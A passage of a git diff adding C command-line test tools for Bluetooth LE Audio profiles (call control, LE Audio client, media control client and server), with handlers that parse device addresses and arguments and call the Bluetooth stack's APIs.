(bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_ccp_read_call_control_optional_opcodes(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int ccp_read_incoming_call(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_ccp_read_incoming_call(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int ccp_read_incoming_call_target_bearer_uri(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_ccp_read_incoming_call_target_bearer_uri(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int ccp_read_call_state(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_ccp_read_call_state(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int ccp_read_bearer_list_current_calls(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_ccp_read_bearer_list_current_calls(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int ccp_read_call_friendly_name(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_ccp_read_call_friendly_name(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +/*write opcode */ +static int ccp_call_control_by_index(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + uint8_t opcode; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + opcode = atoi(argv[1]); + + if (bt_lea_ccp_call_control_by_index(handle, &addr, opcode) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int ccp_originate_call(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + uint8_t* uri; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + uri = (uint8_t*)argv[1]; + + if (bt_lea_ccp_originate_call(handle, &addr, uri) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int ccp_join_calls(void* handle, int argc, char* argv[]) +{ + if (argc < 4) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + uint8_t number; + uint8_t list_of_call_indexex[5]; + uint8_t* call_indexes; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + number = (uint8_t)atoi(argv[1]); + list_of_call_indexex[0] = (uint8_t)atoi(argv[2]); + list_of_call_indexex[1] = (uint8_t)atoi(argv[3]); + call_indexes = list_of_call_indexex; + + if (bt_lea_ccp_join_calls(handle, &addr, number, call_indexes) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static void ccp_test_callback(void* context, bt_address_t* addr) +{ + PRINT_ADDR("ccp_test_callback, addr:%s", addr); +} + +static const lea_ccp_callbacks_t lea_ccp_cbs = { + sizeof(lea_ccp_cbs), + ccp_test_callback, +}; + +int lea_ccp_command_init(void* handle) +{ + ccp_callbacks = bt_lea_ccp_register_callbacks(handle, &lea_ccp_cbs); + + return CMD_OK; +} + +void lea_ccp_command_uninit(void* handle) +{ + bt_status_t ret; + + bt_lea_ccp_unregister_callbacks(handle, ccp_callbacks); + + ret = bluetooth_stop_service(handle, PROFILE_LEAUDIO_CCP); + if (ret != BT_STATUS_SUCCESS) { + PRINT("%s, failed ret:%d", __func__, ret); + } +} + +int lea_ccp_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_lea_ccp_tables, ARRAY_SIZE(g_lea_ccp_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/lea_client.c b/tools/lea_client.c new file mode 100644 index 0000000000000000000000000000000000000000..1c9b85aa99a5d70e9ffa069f9804d6b4ccce115a --- /dev/null +++ b/tools/lea_client.c @@ -0,0 +1,366 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_lea_client.h" +#include "bt_tools.h" + +static int connect_device(void* handle, int argc, char* argv[]); +static int connect_audio(void* handle, int argc, char* argv[]); +static int disconnect_device(void* handle, int argc, char* argv[]); +static int disconnect_audio(void* handle, int argc, char* argv[]); +static int get_connection_state(void* handle, int argc, char* argv[]); +static int get_group_id(void* handle, int argc, char* argv[]); +static int discovery_member_start(void* handle, int argc, char* argv[]); +static int discovery_member_stop(void* handle, int argc, char* argv[]); +static int group_add_member(void* handle, int argc, char* argv[]); +static int group_remove_member(void* handle, int argc, char* argv[]); +static int group_connect_audio(void* handle, int argc, char* argv[]); +static int group_disconnect_audio(void* handle, int argc, char* argv[]); +static int group_lock(void* handle, int argc, char* argv[]); +static int group_unlock(void* handle, int argc, char* argv[]); + +static bt_command_t g_lea_client_tables[] = { + { "connect", connect_device, 0, "\"connect device, params: <address>\"" }, + { "connectaudio", connect_audio, 0, "\"connect audio, params: <address> <context>\"" }, + { "disconnect", disconnect_device, 0, "\"disconnect device, params: <address>\"" }, + { "disconnectaudio", disconnect_audio, 0, "\"disconnect audio, params: <address>\"" }, + { "constate", get_connection_state, 0, "\"get lea connection state, params: <address>\"" }, + { "groupid", get_group_id, 0, "\"get group id, params: <address>\"" }, + { "discoverystart", discovery_member_start, 0, "\"discovery member start, params: <group id>\"" }, + { "discoverystop", discovery_member_stop, 0, "\"discovery member stop, params: <group id>\"" }, + { "addmember", group_add_member, 0, "\"group add member, params: <group id> <address>\"" }, + { "removemember", group_remove_member, 0, "\"group remove member, params: <group id> <address>\"" }, + { "groupconnectaudio", group_connect_audio, 0, "\"group connect audio, params: <group id> <conetxt>\"" }, + { "groupdisconnectaudio", group_disconnect_audio, 0, "\"group disconnect audio, params: <group id>\"" }, + { "grouplock", group_lock, 0, "\"group lock, params: <group id>\"" }, + { "groupunlock", group_unlock, 0, "\"group unlock, params: <group id>\"" }, +}; + +static void* lea_client_callbacks = NULL; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_lea_client_tables); i++) { + printf("\t%-8s\t%s\n", g_lea_client_tables[i].cmd, g_lea_client_tables[i].help); + } +} + +static int connect_device(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_client_connect(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int connect_audio(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_client_connect_audio(handle, &addr, atoi(argv[1])) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int disconnect_device(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_client_disconnect(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int disconnect_audio(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_client_disconnect_audio(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int get_connection_state(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + profile_connection_state_t state; + + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + state = bt_lea_client_get_connection_state(handle, &addr); + + PRINT_ADDR("get_connection_state, addr:%s, state:%d", &addr, state); + + return CMD_OK; +} + +static int get_group_id(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + uint32_t group_id; + + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_client_get_group_id(handle, &addr, &group_id) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT_ADDR("get_group_id, addr:%s, group_id:%d", &addr, group_id); + + return CMD_OK; +} + +static int discovery_member_start(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_lea_client_discovery_member_start(handle, atoi(argv[0])) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int discovery_member_stop(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_lea_client_discovery_member_stop(handle, atoi(argv[0])) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int group_add_member(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[1], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_client_group_add_member(handle, atoi(argv[0]), &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int group_remove_member(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[1], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_client_group_remove_member(handle, atoi(argv[0]), &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int group_connect_audio(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_lea_client_group_connect_audio(handle, atoi(argv[0]), atoi(argv[1])) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int group_disconnect_audio(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_lea_client_group_disconnect_audio(handle, atoi(argv[0])) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int group_lock(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_lea_client_group_lock(handle, atoi(argv[0])) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int group_unlock(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_lea_client_group_unlock(handle, atoi(argv[0])) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static void client_stack_state_callback(void* cookie, lea_client_stack_state_t enabled) +{ + PRINT("client_stack_state_callback enable:%d", enabled); +} + +static void client_connection_state_callback(void* cookie, + profile_connection_state_t state, bt_address_t* bd_addr) +{ + PRINT_ADDR("lea_connection_state_callback, addr:%s, state:%d", bd_addr, state); +} + +void audio_state_callback(void* cookie, lea_audio_state_t state, bt_address_t* bd_addr) +{ + PRINT_ADDR("audio_state_callback, addr:%s, state:%d", bd_addr, state); +} + +void group_member_discovered_callback(void* cookie, uint32_t group_id, bt_address_t* bd_addr) +{ + PRINT_ADDR("member_discovered_callback, addr:%s, group_id:%u", bd_addr, group_id); +} + +void group_member_added_callback(void* cookie, uint32_t group_id, bt_address_t* bd_addr) +{ + PRINT_ADDR("member_added_callback, addr:%s, group_id:%u", bd_addr, group_id); +} + +void group_member_removed_callback(void* cookie, uint32_t group_id, bt_address_t* bd_addr) +{ + PRINT_ADDR("member_removed_callback, addr:%s, group_id:%u", bd_addr, group_id); +} + +void group_discovery_start_callback(void* cookie, uint32_t group_id) +{ + PRINT("discovery_start_callback, group_id:%u", group_id); +} + +void group_discovery_stop_callback(void* cookie, uint32_t group_id) +{ + PRINT("discovery_stop_callback, group_id:%u", group_id); +} + +void group_lock_callback(void* cookie, uint32_t group_id, lea_csip_lock_status result) +{ + PRINT("group_lock_callback, group_id:%u, result:%d", group_id, result); +} + +void group_unlock_callback(void* cookie, uint32_t group_id, lea_csip_lock_status result) +{ + PRINT("group_unlock_callback, group_id:%u, result:%d", group_id, result); +} + +static const lea_client_callbacks_t lea_client_cbs = { + sizeof(lea_client_cbs), + .client_stack_state_cb = client_stack_state_callback, + .client_connection_state_cb = client_connection_state_callback, + .client_audio_state_cb = audio_state_callback, + .client_group_member_discovered_cb = group_member_discovered_callback, + .client_group_member_added_cb = group_member_added_callback, + .client_group_member_removed_cb = group_member_removed_callback, + .client_group_discovery_start_cb = group_discovery_start_callback, + .client_group_discovery_stop_cb = group_discovery_stop_callback, + .client_group_lock_cb = group_lock_callback, + .client_group_unlock_cb = group_unlock_callback, +}; + +int leac_command_init(void* handle) +{ + bt_status_t ret; + + ret = bluetooth_start_service(handle, PROFILE_LEAUDIO_CLIENT); + if (ret != BT_STATUS_SUCCESS) { + PRINT("%s, failed ret:%d", __func__, ret); + return ret; + } + + lea_client_callbacks = bt_lea_client_register_callbacks(handle, &lea_client_cbs); + return 0; +} + +void leac_command_uninit(void* handle) +{ + bt_status_t ret; + + bt_lea_client_unregister_callbacks(handle, lea_client_callbacks); + ret = bluetooth_stop_service(handle, PROFILE_LEAUDIO_CLIENT); + if (ret != BT_STATUS_SUCCESS) { + PRINT("%s, failed ret:%d", __func__, ret); + } +} + +int leac_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_lea_client_tables, ARRAY_SIZE(g_lea_client_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/lea_mcp.c b/tools/lea_mcp.c new file mode 100644 index 0000000000000000000000000000000000000000..53418febc7a887ef21da181f64b5213e69dc2d33 --- /dev/null +++ b/tools/lea_mcp.c @@ -0,0 +1,140 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_lea_mcp.h" +#include "bt_tools.h" + +static int mcp_read_remote_info(void* handle, int argc, char* argv[]); +static int mcp_media_control_request(void* handle, int argc, char* argv[]); +static int mcp_search_control_request(void* handle, int argc, char* argv[]); + +static bt_command_t g_lea_mcp_tables[] = { + { "readinfo", mcp_read_remote_info, 0, "read remote media info param: <addr><opcode>" }, + { "mediacontrolrequest", mcp_media_control_request, 0, "media control request param: <addr><opcode:Play><offset:Nth segment>" }, + { "searchrequest", mcp_search_control_request, 0, "mcp search request param: <addr><number><type><parameter>" }, +}; + +static void* mcp_callbacks = NULL; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_lea_mcp_tables); i++) { + printf("\t%-8s\t%s\n", g_lea_mcp_tables[i].cmd, g_lea_mcp_tables[i].help); + } +} + +/* interface */ +static int mcp_read_remote_info(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + uint8_t opcode = atoi(argv[1]); + if (bt_lea_mcp_read_info(handle, &addr, opcode) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int mcp_media_control_request(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + uint32_t opcode = atoi(argv[1]); + int32_t n = atoi(argv[2]); + + if (bt_lea_mcp_media_control_request(handle, &addr, opcode, n) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int mcp_search_control_request(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + uint8_t number = atoi(argv[1]); + uint32_t type = atoi(argv[2]); + uint8_t* parameter = (uint8_t*)strdup(argv[3]); + + if (bt_lea_mcp_search_control_request(handle, &addr, number, type, parameter) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static void mcp_test_callback(void* context, bt_address_t* addr, uint8_t event) +{ + PRINT_ADDR("mcp_test_callback, addr:%s, event:%d ", addr, event); +} + +static const lea_mcp_callbacks_t lea_mcp_cbs = { + sizeof(lea_mcp_cbs), + mcp_test_callback, +}; + +int lea_mcp_commond_init(void* handle) +{ + mcp_callbacks = bt_lea_mcp_register_callbacks(handle, &lea_mcp_cbs); + return CMD_OK; +} + +void lea_mcp_commond_uninit(void* handle) +{ + bt_status_t ret; + + bt_lea_mcp_unregister_callbacks(handle, mcp_callbacks); + ret = bluetooth_stop_service(handle, PROFILE_LEAUDIO_MCP); + if (ret != BT_STATUS_SUCCESS) { + PRINT("%s, failed ret:%d", __func__, ret); + } +} + +int lea_mcp_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_lea_mcp_tables, ARRAY_SIZE(g_lea_mcp_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/lea_mcs.c b/tools/lea_mcs.c new file mode 100644 index 0000000000000000000000000000000000000000..4dd4a9c156a9d8ddcfe3860d5746335be9793ada --- /dev/null +++ b/tools/lea_mcs.c @@ -0,0 +1,303 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_lea_mcs.h" +#include "bt_tools.h" + +static int le_mcs_add(void* handle, int argc, char* argv[]); +static int le_mcs_remove(void* handle, int argc, char* argv[]); +static int mcs_media_state_changed(void* handle, int argc, char* argv[]); +static int mcs_set_media_player_info(void* handle, int argc, char* argv[]); +static int mcs_media_control_response(void* handle, int argc, char* argv[]); +static int mcs_playing_order_changed(void* handle, int argc, char* argv[]); +static int mcs_playback_speed_changed(void* handle, int argc, char* argv[]); +static int mcs_seeking_speed_changed(void* handle, int argc, char* argv[]); +static int mcs_track_title_changed(void* handle, int argc, char* argv[]); +static int mcs_track_duration_changed(void* handle, int argc, char* argv[]); +static int mcs_track_position_changed(void* handle, int argc, char* argv[]); +static int mcs_current_track_changed(void* handle, int argc, char* argv[]); +static int mcs_next_track_changed(void* handle, int argc, char* argv[]); +static int mcs_current_group_changed(void* handle, int argc, char* argv[]); +static int mcs_parent_group_changed(void* handle, int argc, char* argv[]); + +static bt_command_t g_lea_mcs_tables[] = { + { "add", le_mcs_add, 0, "MCS instance add param: <NULL>" }, + { "remove", le_mcs_remove, 0, "MCS instance remove param: <NULL>" }, + { "mediastatechanged", mcs_media_state_changed, 0, "MCS notify media state param: <state>" }, + { "setmediaplayer", mcs_set_media_player_info, 0, "set media player info param: <NULL>" }, + { "mediacontrolrsp", mcs_media_control_response, 0, "notify media control point process result param: <result>" }, + { "playingorderchanged", mcs_playing_order_changed, 0, "MCS notify playing order changed param: <order>" }, + { "playbackspeedchanged", mcs_playback_speed_changed, 0, "MCS notify playback speed changed param: <speed>" }, + { "seekingspeedchanged", mcs_seeking_speed_changed, 0, "MCS notify seeking speed changed param: <speed>" }, + { "tracktitlechanged", mcs_track_title_changed, 0, "MCS notify track title changed param: <title>" }, + { "trackdurationchanged", mcs_track_duration_changed, 0, "MCS notify track duration changed param: <duration>" }, + { "trackpositionchanged", mcs_track_position_changed, 0, "MCS notify track position changed param: <position>" }, + { "currenttrackchanged", mcs_current_track_changed, 0, "MCS notify current track changed param: <track_id[6] six octets>" }, + { "nexttrackchanged", mcs_next_track_changed, 0, "MCS notify next track changed param: <track_id[6] six octets>" }, + { "currentgroupchanged", mcs_current_group_changed, 0, "MCS notify current group changed param: <group_id[6] six octets>" }, + { "parentgroupchanged", mcs_parent_group_changed, 0, "MCS notify parent group changed param: <group_id[6] six octets>" }, +}; + +static void* mcs_callbacks = NULL; +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_lea_mcs_tables); i++) { + printf("\t%-8s\t%s\n", g_lea_mcs_tables[i].cmd, g_lea_mcs_tables[i].help); + } +} + +/* interface */ +static int le_mcs_add(void* handle, int argc, char* argv[]) +{ + if (bt_lea_mcs_service_add(handle) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int le_mcs_remove(void* handle, int argc, char* argv[]) +{ + if (bt_lea_mcs_service_remove(handle) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int mcs_media_state_changed(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + lea_adpt_mcs_media_state_t state = atoi(argv[0]); + + if (bt_lea_mcs_media_state_changed(handle, state) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int mcs_set_media_player_info(void* handle, int argc, char* argv[]) +{ + if (bt_lea_mcs_set_media_player_info(handle) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int mcs_media_control_response(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + lea_adpt_mcs_media_control_result_t result = atoi(argv[0]); + + if (bt_lea_mcs_media_control_point_response(handle, result) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int mcs_playing_order_changed(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint8_t order = atoi(argv[0]); + + if (bt_lea_mcs_playing_order_changed(handle, order) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int mcs_playback_speed_changed(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint8_t speed = atoi(argv[0]); + + if (bt_lea_mcs_playback_speed_changed(handle, speed) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int mcs_seeking_speed_changed(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint8_t speed = atoi(argv[0]); + + if (bt_lea_mcs_seeking_speed_changed(handle, speed) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int mcs_track_title_changed(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint8_t* title = (uint8_t*)strdup(argv[0]); + + if (bt_lea_mcs_track_title_changed(handle, title) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int mcs_track_duration_changed(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint8_t duration = atoi(argv[0]); + + if (bt_lea_mcs_track_duration_changed(handle, duration) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int mcs_track_position_changed(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int32_t position = atoi(argv[0]); + + if (bt_lea_mcs_track_position_changed(handle, position) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int mcs_current_track_changed(void* handle, int argc, char* argv[]) +{ + if (argc != 6) + return CMD_PARAM_NOT_ENOUGH; + + lea_object_id track_id; + for (int i = 0; i <= 5; i++) { + track_id[i] = strtol(argv[i], NULL, 16); + } + + if (bt_lea_mcs_current_track_change(handle, track_id) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int mcs_next_track_changed(void* handle, int argc, char* argv[]) +{ + if (argc != 6) + return CMD_PARAM_NOT_ENOUGH; + + lea_object_id track_id; + for (int i = 0; i <= 5; i++) { + track_id[i] = strtol(argv[i], NULL, 16); + } + + if (bt_lea_mcs_next_track_changed(handle, track_id) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int mcs_current_group_changed(void* handle, int argc, char* argv[]) +{ + if (argc != 6) + return CMD_PARAM_NOT_ENOUGH; + + lea_object_id group_id; + for (int i = 0; i <= 5; i++) { + group_id[i] = strtol(argv[i], NULL, 16); + } + + if (bt_lea_mcs_current_group_changed(handle, group_id) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int mcs_parent_group_changed(void* handle, int argc, char* argv[]) +{ + if (argc != 6) + return CMD_PARAM_NOT_ENOUGH; + + lea_object_id group_id; + for (int i = 0; i <= 5; i++) { + group_id[i] = strtol(argv[i], NULL, 16); + } + + if (bt_lea_mcs_parent_group_changed(handle, group_id) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static void lea_mcs_test_callback(void* cookie, uint8_t event) +{ + printf("lea_mcs_test_callback"); +} + +static const lea_mcs_callbacks_t lea_mcs_cbs = { + sizeof(lea_mcs_cbs), + lea_mcs_test_callback, +}; + +int lea_mcs_commond_init(void* handle) +{ + mcs_callbacks = bt_lea_mcs_register_callbacks(handle, &lea_mcs_cbs); + + return CMD_OK; +} + +void lea_mcs_commond_uninit(void* handle) +{ + bt_status_t ret; + + bt_lea_mcs_unregister_callbacks(handle, mcs_callbacks); + ret = bluetooth_stop_service(handle, PROFILE_LEAUDIO_MCS); + if (ret != BT_STATUS_SUCCESS) { + PRINT("%s, failed ret:%d", __func__, ret); + } +} + +int lea_mcs_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_lea_mcs_tables, ARRAY_SIZE(g_lea_mcs_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/lea_server.c b/tools/lea_server.c new file mode 100644 index 0000000000000000000000000000000000000000..a98667c14e94de56b971bede91c0e84ed049060a --- /dev/null +++ b/tools/lea_server.c @@ -0,0 +1,189 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_lea_server.h" +#include "bt_tools.h" + +static int start_announce_cmd(void* handle, int argc, char* argv[]); +static int stop_announce_cmd(void* handle, int argc, char* argv[]); +static int disconnect_device(void* handle, int argc, char* argv[]); +static int get_connection_state(void* handle, int argc, char* argv[]); +static int disconnect_audio(void* handle, 